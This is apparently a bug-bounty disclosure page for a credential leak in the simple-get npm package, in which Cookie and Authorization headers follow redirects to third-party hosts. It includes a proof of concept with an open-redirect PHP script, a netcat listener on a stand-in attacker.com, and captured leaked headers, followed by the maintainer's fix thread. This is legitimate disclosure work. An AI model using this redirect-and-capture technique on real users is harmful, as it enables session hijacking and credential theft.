Exposure of Sensitive Information to an Unauthorized Actor in feross/simple-get

0

Valid Reported on Jan 12th 2022

BUG

Cookie header leaked to third party site and it allow to hijack victim account

SUMMURY

When fetching a remote url with Cookie if it get `Location` response header then it will follow that url and try to fetch that url with provided cookie . So cookie is leaked here to thirdparty.
Ex: you try to fetch `example.com` with cookie and if it get redirect url to `attacker.com` then it fetch that redirect url with provided cookie .
So, Cookie of `example.com` is leaked to `attacker.com` .
Cookie is standard way to authentication into webapp and you should not leak to other site .
All browser follow same-origin-policy so that when redirect happen browser does not send cookie of `example.com` to `attacker.com` .

FLOW

if you fetch http://mysite.com/redirect.php?url=http://attacker.com:8182/ then it will redirect to http://attacker.com:8182/ .
First setup a webserver and a netcat listner

http://mysite.com/redirect.php?url=http://attacker.com:8182/

```
//redirect.php
<?php
$url=$_GET["url"];
header("Location: $url");

/* Make sure that code below does not get executed when we
exit;
```

```
?>
```

netcat listner in http://attacker.com

```
nc -lnvp 8182
```

STEP TO RERPODUCE

run bellow code

```
get({
    url: 'http://mysite.com/redirect.php?url=http://attacker.com:8182',
  method: 'POST',
  body: 'this is the POST body',

  // simple-get accepts all options that node.js `http` accepts
  // See: http://nodejs.org/api/http.html#http_http_request_options_callbac
  headers: {
    'user-agent': 'my cool app',
      'Authorization':'Basic asdada=',
      'Cookie': 'asdad=asda'
  }
}, function (err, res) {
  if (err) throw err

  // All properties/methods from http.IncomingResponse are available,
  // even if a gunzip/inflate transform stream was returned.
  // See: http://nodejs.org/api/http.html#http_http_incomingmessage
  res.setTimeout(10000)
  console.log(res.headers)

  res.on('data', function (chunk) {
    // `chunk` is the decoded response, after it's been gunzipped or inflat
    // (if applicable)
    console.log('got a chunk of the response: ' + chunk)
  })

})
```

response received in attacker netcat

```
Connection from 127.0.0.1 35860 received!
GET / HTTP/1.1
accept-encoding: gzip, deflate
user-agent: my cool app
authorization: Basic asdada=
cookie: asdad=asda
Host: localhost:8182
Connection: close
```

So, here i provided cookie/Authorization for `mysite.com` but does to redirect it leaks to thirdparty site `attacker.com`

SUGGESTED FIX

If provided url domain and redirect url domain is same then you can only send cookie/authorization header to redirected url . But if the both domain not same then its a third party site which will be redirected, so you dont need to send Cookie/Authorization header.

Occurrences

JS index.js L10-L15 JS index.js L34-L47 JS index.js L51-L100

CVE
CVE-2022-0355
(Published)

Vulnerability Type
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Severity
High (8.8)

Visibility
Public

Status
Fixed

Found by

ranjit-git
@ranjit-git
amateur

Fixed by

ranjit-git
@ranjit-git
amateur

This report was seen 700 times.

We are processing your report and will contact the **feross/simple-get** team within 24 hours.
10 months ago

We have contacted a member of the **feross/simple-get** team and are waiting to hear back
10 months ago

We have sent a follow up to the **feross/simple-get** team. We will try again in 7 days.
10 months ago

Feross 10 months ago Maintainer

Can you please send a pull request with your proposed fix?

ranjit-git modified the report 10 months ago

ranjit-git 10 months ago Researcher

@maintainer PR has been submitted . plz check that https://github.com/feross/simple-get/pull/72

ranjit-git submitted a patch 10 months ago

Chat with us

Feross 10 months ago Maintainer

The patch doesn't work.

ranjit-git modified the report 10 months ago

ranjit-git submitted a patch 10 months ago

ranjit-git 10 months ago Researcher

@maintainer sorry .
i have now submitted new PR which will work https://github.com/feross/simple-get/pull/73
plz check this

ranjit-git 10 months ago Researcher

in previous patch i forgot to add one more line

Feross 10 months ago Maintainer

I requested changes on the PR.

We have sent a second follow up to the feross/simple-get team. We will try again in 10 days. 10 months ago

Feross 10 months ago Maintainer

Fixed in 4.0.1

Feross Aboukhadijeh validated this vulnerability 10 months ago

ranjit-git has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Feross Aboukhadijeh marked this as fixed in 4.0.1 with commit e4af09 10 months ago

ranjit-git has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✖

index.js#L51-L100 has been validated ✔

index.js#L34-L47 has been validated ✔

index.js#L10-L15 has been validated ✔

> Sign in to join this conversation